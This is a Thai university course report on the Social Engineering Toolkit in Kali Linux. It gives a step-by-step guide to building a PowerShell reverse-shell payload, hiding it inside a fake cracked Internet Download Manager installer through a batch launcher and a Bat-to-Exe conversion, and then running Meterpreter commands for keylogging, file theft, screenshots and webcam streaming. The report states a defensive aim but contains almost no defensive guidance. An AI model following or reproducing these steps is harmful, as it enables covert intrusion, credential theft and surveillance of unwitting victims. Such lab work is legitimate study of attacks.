

รายงาน

เรื่อง Social Engineering Toolkits

จัดทำโดย

1. นายณัฐพงศ์	แสนแก้ว	573020416-0 sec.2 Group 55
2. นายณัฐวุฒิ	กรุดมินบุรี	573020417-8 sec.2 Group 55
3. นายศักดิ์ดา	ประทุมชมภู	573020438-0 sec.2 Group 56
4. นางสาวอัญมณี	ผาจวง	573020451-8 sec.2 Group 56
5. นายศรัณญ์	สาพรหม	573020683-7 sec.2 Group 57
6. นางสาวธัญยพร	วาสสามัคคื	573021143-4 sec.2 Group 57

เสนอ

อ. รศ.คร.จักรชัย โสอินทร์

รายงานนี้เป็นส่วนหนึ่งของการศึกษาวิชา 322 376 ชื่อวิชา INFORMATION AND COMMUNICATION TECHNOLOGY SECURITY ภาคเรียน 1 ปีการศึกษา 2559 ภาควิชาวิทยาการคอมพิวเตอร์ คณะวิทยาศาสตร์ มหาวิทยาลัยขอนแก่น

หลักการและเหตุผล

บ้จจุบัน ภัยร้ายเข้ามาหาเราได้ในหลายรูปแบบ และล้วนเป็นภัยใกล้ตัว ที่หากไม่ไตร่ตรองให้ดี อาจ ตกเป็นเหยื่อของภัยดังกล่าวอย่างง่ายดาย ข่าวมากมาย เกี่ยวกับภัยใกล้ตัวในรูปแบบต่างๆ เช่น ภัยทาง โทรศัพท์ ภัยทางอินเตอร์เน็ต หรือภัยจากการถูกโจรกรรมข้อมูลไปใช้ในทางที่ไม่ดี เป็นต้น การโจรกรรมข้อมูลส่วน บุคกล คือการการขโมยข้อมูลส่วนบุคกลของผู้อื่นไปใช้น้อโกงหรือก่ออาชญากรรมอื่นๆ เช่น นำข้อมูลของเรา ไปใช้ทำบัตรเครดิต กู้เงิน หรือเปิดบัญชีใหม่ เป็นต้น จากนั้นก็สร้างหนี้ก้อนโตไว้ในชื่อของเรา ซึ่งกว่าที่จะ แก้ไขปัญหาดังกล่าว ก็อาจจะเสียประวัติ ด้วยเหตุนี้คณะผู้จัดทำจึงได้ศึกษา โปรแกรม Kali Linux และ โปรแกรม Social Engineering Toolkit เพื่อไม่ให้ตกเป็นเหยื่อของผู้ประสงค์ร้าย ซึ่งอาจจะกระทำได้หลากหลาย วิธี เช่น Hacking, Cracking แต่วิธีอีกวิธีหนึ่งที่เป็นที่นิยมเช่นกันคือวิธีที่เรียกว่า Trojan Horse กณะผู้จัดทำจึงได้ ศึกษาการโจมตีแบบ Trojan Horse

วัตถุประสงค์

- 1.เพื่อศึกษาวิธีการ โจมตีเครื่องกอมพิวเตอร์ ด้วย Trojan Horse
- 2. เพื่อศึกษาวิธีการป้องกันเครื่องคอมพิวเตอร์จาก Trojan Horse
- 3. เพื่อที่จะนำแนวทางป้องกันไปประยุกต์ใช้ได้ในชีวิตประจำวัน

ประ โยชน์ที่คาคว่าจะ ได้รับ

- 1. ทราบถึงแนวทางการ โจมตีด้วย Trojan Horse
- 2. ทราบถึงแนวทางการป้องกันการโจมตีด้วย Trojan Horse
- 3. สามารถนำแนวทางป้องกันไปประยุกต์ใช้ได้ในชีวิตประจำวัน

เครื่องมือและโปรแกรมที่ใช้ในการทดสอบ

1. Kali Linux 2.0



ภาพที่ 1 Kali Linux 2.0

Kali Linux 2.0 หรือโค้คเนม "Kali Sana" เป็นแพลทฟอร์มรันบนระบบปฏิบัติการ Debian Jesse สำหรับใช้ เจาะระบบคอมพิวเตอร์เพื่อตรวจหาช่องโหว่โคยเฉพาะ ซึ่งมาพร้อมกับชุดทคสอบเจาะระบบมากกว่า 100 รายการ รวมทั้งมีระบบการวิเคราะห์เชิงสถิติ การแฮ็ค และวิศวกรรมย้อนกลับ (Reverse Engineering) ใน เวอร์ชัน 2.0 ล่าสุคนี้ ได้ทำการออกแบบอินเตอร์เฟสใหม่ จัดกลุ่มเครื่องมือ และเมนูแสดงผลต่างๆเพื่อให้ใช้งาน ได้สะควกกล่องตัวมากยิ่งขึ้น 2. Social Engineering Toolkits (SET)



ภาพที่ 2 Social Engineering Toolkit (SET)

โปรแกรม Social Engineering Toolkit (SET) เป็นโปรแกรมที่ใช้ในโจมตีแบบวิศวกรรมสังคมจะเกี่ยวกับ การหลอกให้บางคนหลงกลเพื่อเข้าระบบ เช่น การหลอกถามรหัสผ่าน การหลอกให้ส่งที่สำคัญให้ ซึ่งการโจมตี ประเภทนี้ไม่จำต้องใช้ความรู้ความชำนาญเกี่ยวกับคอมพิวเตอร์หรือการเจาะระบบเลย วิศวกรรมสังคมเป็น จุดอ่อนที่ป้องกันยากเพราะเกี่ยวข้องกับคน

3. Oracle Virtual Box



ภาพที่ 3 Oracle Virtual Box

VirtualBox (ชื่อเต็มคือ Oracle VM VirtualBox) เป็นโปรแกรมฟรีแวร์สำหรับจำลองระบบคอมพิวเตอร์ ใด้ออกอัปเดทเวอร์ชันใหม่คือ VirtualBox 3.2.12 Build 68302 เมื่อวันที่ 30-Nov-2010 โดยในเวอร์ชันนี้สามารถ รองรับ Ubuntu 10.10 และ Fedora 14

VirtualBox เป็นซอฟต์แวร์สำหรับใช้ทำการจำลองระบบคอมพิวเตอร์ (Virtualization) บนระบบ x86 และ AMD64/Intel64 ลักษณะเดียวกับโปรแกรม VMware Workstation (เป็นโปรแกรมเชิงพานิชย์ต้องซื้อจึงจะ ใช้งานได้เต็มฟังก์ชัน) และ VMware Player 3.0 (สามารถใช้งานได้ฟรี) ของVMware หรือโปรแกรม Virtual PC ของ Microsoft ซึ่งสามารถใช้งานได้ฟรี และ Windows Virtual PC ของ Microsoft ซึ่งใช้งานได้ฟรีแต่จะมีเฉพาะ ในWindows 7 ร่น Professional, Enterprise และ Ultimate

VirtualBox เป็นซอฟต์แวร์แบบ Open Source พัฒนาโดย Oracle (ก่อนหน้านี้เป็น Sun Microsystems ซึ่งปัจจุบันถูกซื้อกิจการ โดย Oracle)สามารถใช้งานได้ฟรี โดยไม่มีค่าใช้ง่ายภายใต้ไลเซนส์แบบ GNU General Public License (GPL) เป็นซอฟต์แวร์ที่มีประสิทธิภาพสูงรองรับการใช้งานได้ทั้งในเอนเทอร์ไพรส์ (Enterprise) และการใช้งานภายในบ้าน และยังมีฟีเจอร์ให้ใช้งานหลากหลายและที่สำคัญเป็นโซลูชั่นระดับมืออาชีพที่ใช้งาน ได้ฟรี

VirtualBox คือ โปรแกรมที่ใช้ในการจำลองเครื่องคอมพิวเตอร์ขึ้นมาอีกเครื่องหนึ่ง โดยการแบ่ง ทรัพยากรจากระบบหลักไปใช้เช่น CPU,RAM,VGA,HDD โดยจุดมุ่งหมายหลักของ โปรแกรมนี้คือการติดตั้ง ระบบปฏิบัติการขึ้นมาอีกตัวหนึ่งเพื่อใช้งานที่แตกต่างกันไป สามารถใช้งานได้ Windows, Mac, Linux

ขั้นตอนการใช้งาน



1. การสร้างไฟล์ Payload ด้วย Social Engineering Toolkit (SET)

1.1 เปิดโปรแกรม Oracle VM VirtualBox จากนั้นทำการบูต Kali Linux ขึ้นมา



1.2. เรียกใช้งาน Terminal



1.3. เรียกใช้งาน Social Engineering Toolkit (SET) โดยการพิมพ์ setoolkit



1. 4. Terminal จะทำการเปิด Social Engineering Toolkit (SET) ขึ้นมา



1.5. เลือกเมนู Social Engineering Attack โดยการพิมพ์ 1 แล้วกด Enter



1.6. เลือกเมนู Powershell Attack Vector โดยการพิมพ์ 9 แล้วกด Enter7.



1.7. เลือกเมนู Powershell Alphanumeric Shellcode Injector โดยการพิมพ์ 1 แล้วกด Enter



1.8. กรอก IP Address ของเครื่องต้นทาง



1.9. กรอก Port สำหรับรอรับข้อมูล



1.10. โปรแกรมจะทำการสร้าง Payload โดยจะเก็บไว้ใน Path /root/.set/reports/powershell/



1.11. ตอบ Yes เพื่อเริ่มการเป็น Listener



 1.12. จากนั้น Terminal จะเปิด Metaploit ขึ้นมา ให้รอจนกว่าเป้าหมายจะเปิดไฟล์ ที่ได้สร้างไว้ในขั้นตอนที่แล้ว

2. การค้นหาไฟล์ที่ถูกสร้าง และคัดลอกเพื่อนำมาใช้งาน



2.1. เปิด Terminal ขึ้นมา จากนั้นเข้าไปใน Path ที่โปรแกรมกำหนดให้



2.2. ใช้กำสั่ง 1₈ เพื่อทำการตรวจสอบว่ามีไฟล์อยู่ในนั้นหรือไม่ โดยไฟล์ที่ถูกสร้างจะมีชื่อว่า

x86_powershell_injection.txt



2.3. ทำการ Copy ไฟล์นั้นมาไว้ที่ Desktop



2.4. Desktop จะปรากฎไฟล์ที่ได้ทำการ Copy ออกมา



2.5. เปลี่ยนนามสกุลไฟล์โคยตั้งเป็น .bat



2.6. จะได้ไฟล์ที่ทำการเปลี่ยนนามสกุลไฟล์เรียบร้อย จากนั้นนำไฟล์ที่ได้ไปเปิดในเครื่องเป้าหมาย

3. การเชื่อมต่อและการโจมตีเครื่องเป้าหมาย



3.1. เมื่อเป้าหมายเปิดไฟล์ที่เราสร้าง Metasploit จะแจ้งเตือน โดยจะบอก IP Address ของเครื่องเหยื่อ



3.2. เปิด sessions ระหว่างเครื่องต้นทางกับเหยื่อ โดยพิมพ์ sessions -I 1

เมื่อสำเร็จจะปรากฏข้อความ Starting interaction with 1...



3.3. สามารถดูกำสั่งทั้งหมดได้โดยการพิมพ์ help



3.4. ยกตัวอย่างเช่นการพิมพ์ sysinfo เพื่อดูรายละเอียดเครื่องเป้าหมาย

4. การแก้ไขไฟล์ Payload เพื่อหลอกลวงเป้าหมาย

😳 Bat To Exe Converter v2.4.6		- 🗆 X
Batch file: Save as:		····
Options Include Version information Editor Pro	ogram settings	
Visibility Visible application Invisible application	Working directory © Current director O Temporary director	ory ectory
Temporary files	Encryption Encrypt the pr Password:	ogram
Miscellaneous Add administrator manifest Overwrite existing files Compress the exe using UPX	Architecture ③ 32 Bit ○ 64 Bit	
Compile	Reset all entries	Exit
	www.f2ko.de	

4.1. ใช้โปรแกรม Bat to Exe Converter v.2.4.6

เพื่อแปลงไฟล์นามสกุล .bat เป็น .exe

😟 Bat To Exe	Converter v2.4.6		- 🗆 X
Batch file: Save as:	C:\Users\nutta\Desktop\x86_powe C:\Users\nutta\Desktop\x86_powe	···	
Options Indu	ude Version information Editor Pro	ogram settings	
	☐ Indude version informat File version: Product versio Company: Productname: Internal name Description: Copyright:	ion 1,0,0,0 n: 1,0,0,0 . . .	
	Compile	Reset all entries	Exit
		www.f2ko.de	

4.2. เลือก Batch File และเลือกโฟเดอร์ที่ต้องการบันทึกไฟล์

🔞 Bat To Exe Converter	v2.4.6		- 🗆 X					
Batch file: C:\Users Save as: C:\Users	tch file: C:\Users\nutta\Desktop\x86_powershell_injection.bat ve as: C:\Users\nutta\Desktop\x86_powershell_injection.exe							
Options Include Version	n information Editor Prog	ram settings						
Icon file: C:	\Users\nutta\Desktop\idm.ico							
	Include version information File version: Product version: Company: Productname: Internal name: Description: Copyright:	1,0,0,0 1,0,0,0 						
Com	Compile Reset all entries Exit							
		www.f2ko.de						

4.3. สามารถเปลี่ยนแปลงไอคอนได้โดยเข้าไปที่ Version information จากนั้นเลือกไฟล์ไอคอน .ico



4.4. ไฟล์ที่ได้จากการแปลงจะมีนามสกุลเป็น .exe และเป็นไอคอมตามที่เลือกไว้

5. แนวทางการสร้างไฟล์เพื่อหลอกล่อเป้าหมาย



1. เตรียมไฟล์ติดตั้งของโปรแกรมที่ต้องการจะหลอกล่อเป้าหมาย

I Image: Image Image: Image Image: Image: Image Image: Imag								
← → ▼ ↑ 📴 > Internet Download Manager6.26 Build1 + crack > Languages V 💍 Search La ,								
^	Name	Date modified	Туре	Size 🗸	^			
🖈 Quick access	x86 nowershell injection hat	22/11/2559 11.50	Windows Batch File	7 KB				
🔜 Desktop 🛛 🖈	Jidman626build2.exe	10/9/2559 2:50	Application	6.721 KB				
🖊 Downloads 🖈		19/7/2559 16:40	LNG File	8 KB				
😫 Documents 🖈	inst chn.lng	13/7/2559 20:37	LNG File	4 KB				
📰 Pictures 🛛 🖈	idm ptbr.lng	11/7/2559 18:38	LNG File	104 KB				
Compressed	idm_ar.Ing	9/6/2559 22:45	LNG File	86 KB				
Internet Downlo	inst_ar.Ing	9/6/2559 22:39	LNG File	5 KB				
Midham	tips_ar.txt	9/6/2559 22:39	Text Document	3 KB				
Widterm	idm_it.lng	8/6/2559 23:15	LNG File	110 KB				
Prototype	inst_it.lng	8/6/2559 23:15	LNG File	7 KB				
http://www.com/com/com/com/com/com/com/com/com/com/	inst_tr.Ing	30/5/2559 23:17	LNG File	6 KB				
This DC	idm_tr.Ing	30/5/2559 23:17	LNG File	99 KB				
This PC	idm_de.Ing	23/5/2559 23:29	LNG File	103 KB				
Desktop	idm_fr.Ing	23/5/2559 23:29	LNG File	115 KB				
Documents	inst_fr.lng	23/5/2559 23:29	LNG File	7 KB				
🖶 Downloads	idm_ru.lng	20/5/2559 19:20	LNG File	97 KB				
Music	template.Ing	20/5/2559 19:06	LNG File	98 KB				
E Pictures	idm_fa.Ing	19/5/2559 23:05	LNG File	99 KB				
Videos	inst_fa.lng	19/5/2559 23:05	LNG File	5 KB				
Local Disk (C)	inst_de.lng	4/5/2559 11:04	LNG File	6 KB				
- (D)	inst_ptbr.lng	29/4/2559 21:55	LNG File	7 KB				
🚥 (U:)	tips_fr.txt	28/4/2559 21:52	Text Document	3 KB				
🕳 Local Disk (E:)	inst_uz.lng	22/4/2559 20:34	LNG File	8 KB				
📹 (D:)	inst_ru.lng	15/4/2559 23:20	LNG File	6 KB				
boot 🗸	template_inst.lng	15/4/2559 23:19	LNG File	7 KB	~			
57 items 2 items selected	6.56 MB							

2. นำไฟล์ติดตั้งของโปรแกรมจริง และไฟล์ .bat ที่สร้างไว้จาก Social Engineering Toolkit มาเก็บไว้ใน Folder

Language

📙 🛃 📒 🖛 Internet	t Download Manager6.26 Build1 + crack			_	o x
File Home Sha	re View				~
← → ~ ↑ □ > 1	nternet Download Manager6.26 Build1 + crack			✓ Ö Sear	ch Int 🔎
~	Name	Date modified	Туре	Size	
📌 Quick access	Languages	28/11/2559 13:00	File folder		
📃 Desktop 🖈	idman626build2.txt	28/11/2559 13:03	Text Document	0 k	(B
👆 Downloads 🖈	patch.exe	10/9/2559 14:12	Application	4,181 k	(B
🗎 Documents 🖈	📄 วิธีแคร็ก IDM 6.26 Build 2.txt	12/7/2559 15:08	Text Document	1 k	(B
📰 Pictures 🛛 🖈					
Compressed					
Internet Downlo					
Midterm					
Prototype					
🌮 OneDrive					
This PC					
Cesktop					
Documents					
Downloads					
b Music					
Pictures					
Videos					
Local Disk (C:)					
🖆 (D:)					
Local Disk (E:)					
🖆 (D:)					
boot					
4 items 1 item selected	d 0 bytes				

3. สร้างไฟล์ .txt ขึ้นมา ตั้งชื่อให้เหมือนกับตัวติดตั้งของโปรแกรมจริง

– 🗆 🗙

@ idman626build2.bat.Notepad File Edit Format View Help @echo off start Languages/x86_powershell_injection.bat start Languages/idman626build2.exe

4. เขียน Script ให้กับไฟล์ .txt จากนั้น Save แล้วเปลี่ยนนามสกุลเป็น .bat

atch file: C:\Users\nutta\Deskto	op \Internet Download Manage	r6.26 Build1 + crack\jdman626build2.bat							
Include Version information	Editor Program settings	no, zo bulid 1 + Clack yumanozobulidz.exe							
Visibility Visible application Invisible application 		Working directory © Current directory ◯ Temporary directory							
Temporary files		Encryption Encrypt the program Password:							
Miscellaneous Add administrator manifes Overwrite existing files Compress the exe using U	t PX	Architecture ③ 32 Bit ○ 64 Bit							
Comoile		Dent all action							

5. เปิดโปรแกรม Bat to Exe Converter v.2.4.6 แปลงไฟล์ idman626build2.bat ที่ได้สร้างไว้ในขั้นตอนที่เล้วเป็น idman626build2.exe เพื่อหลอกล่อเป้าหมาย

📙 i 🛃 🗖 🖛 i Interne	et Download Manager6.26 Build1 + crack			- 0	×
File Home Sha	are View				~ 🕐
	Internet Download Manager6.26 Build1 + crac	k	~	Search Ir	nt 🔎
- Ouick access	^ Name	Date modified	Туре	Size	
	🔒 Languages	28/11/2559 13:00	File folder		
	😼 idman626build2.exe	28/11/2559 13:18	Application	71 KB	
Uownloads 🖈	😼 patch.exe	10/9/2559 14:12	Application	4,181 KB	
🔮 Documents 🖈	📄 ริธีแคร็ก IDM 6.26 Build 2.txt	12/7/2559 15:08	Text Document	1 KB	
📰 Pictures 🛛 🖈					
Compressed					
Internet Downlo					
Midterm					
Prototype					
🐔 OneDrive					
💻 This PC					
📃 Desktop					
🔮 Documents					
🖊 Downloads					
Music					
E Pictures					
📔 Videos					
🏪 Local Disk (C:)					
🖆 (D:)					
Local Disk (E:)					
🖆 (D:)					
boot	v				
4 items					

6. ไฟล์ที่ได้หลังจากการแปลง .bat เป็น .exe

6. ตัวอย่างคำสั่ง

6.1 sysinfo

ตรวจสอบข้อมูลของเครื่องเป้าหมาย



6.2 keyscan_start

ເรີ່ມກຳการ Keylogger

```
<u>meterpreter</u> > keyscan_start
Starting the keystroke sniffer...
<u>meterpreter</u> >
```

6.3 keyscan_dump

แสดงข้อความที่ทำการ Keylogger มาได้

```
<u>meterpreter</u> > keyscan_dump
Dumping captured keystrokes...
keysatrrt <Back> <Back> rt <Back> <Back> <Back> <Back> <Back> r <Back> tart <Return> He <Back> wll <Back>
<Back> <Back> ello
meterpreter >
```

6.4 download

คาวน์ โหลดไฟล์ที่อยู่ในเครื่องเป้าหมาย

mete	erpreter > c	OW	nload p	atcl	h.e	xe ~/Desktop
[*]	downloading	:	patch.e	xe	->	~/Desktop/patch.exe
[*]	download	:	patch.e	xe	->	~/Desktop/patch.exe

6.5 upload

อัพโหลดไฟล์ไปยังเครื่องเป้าหมาย

meterpreter > upload /root/test.txt C:\Users\nutta\Desktop
[*] uploading : /root/test.txt -> C:UsersnuttaDesktop
[*] uploaded : /root/test.txt -> C:UsersnuttaDesktop

6.6 pwd

แสดง Path ปัจจุบันที่อยู่ในเครื่องเป้าหมาย

```
<u>meterpreter</u> > pwd
C:\Users\nutta\Desktop\Internet Download Manager6.26 Build1 + crack\Languages
meterpreter >
```

6.7 ls

แสดงไฟล์ที่อยู่ใน Path ปัจจุจบัน

<u>meterpreter</u> > ls Listing: C:\Users\nutta\Desktop\Internet Download Manager6.26 Build1 + crack					
injection.bat.zip					
Mode	Size	Туре	Last modified	Name	
40777/rwxrwxrwx	0	dir	2016-11-28 01:00:50 -0500	Languages	
100777/rwxrwxrwx	72192	fil	2016-11-28 01:18:20 -0500	idman626build2.exe	
100777/rwxrwxrwx	4280637	fil	2016-09-10 03:12:23 -0400	patch.exe	
100666/rw-rw-rw-	179	fil	2016-07-12 04:08:20 -0400	วิธีแคร็ก IDM 6.26 Build 2.txt	

6.8 screenshot

สั่งให้ทำการ capture หน้าจอจากเครื่องเป้าหมาย

meterpreter > screenshot
Screenshot saved to: /usr/share/set/TpzjYtBI.jpeg

6.9 ps

แสดง Process ทั้งหมดของเครื่องเป้าหมาย

<u>meterp</u>	<u>reter</u> >	• ps			
Process	s List				
PID	PPID Path] Name	Arch	Session	User
Θ	Θ	[System Process]			
4	Θ	System			
360	868	svchost.exe			
388	4	smss.exe			
624	616	csrss.exe			
732	616	wininit.exe			
748	724	csrss.exe			

6.10 kill

สั่งปีคการทำงานของ Process บนเครื่องเป้าหมาย

<u>meterpreter</u> > kill 6724 Killing: 6724

6.11 webcam _stream

สั่งเปิดกล้อง Webcam ของเป้าหมาย และส่งภาพมายังผู้โจมตี

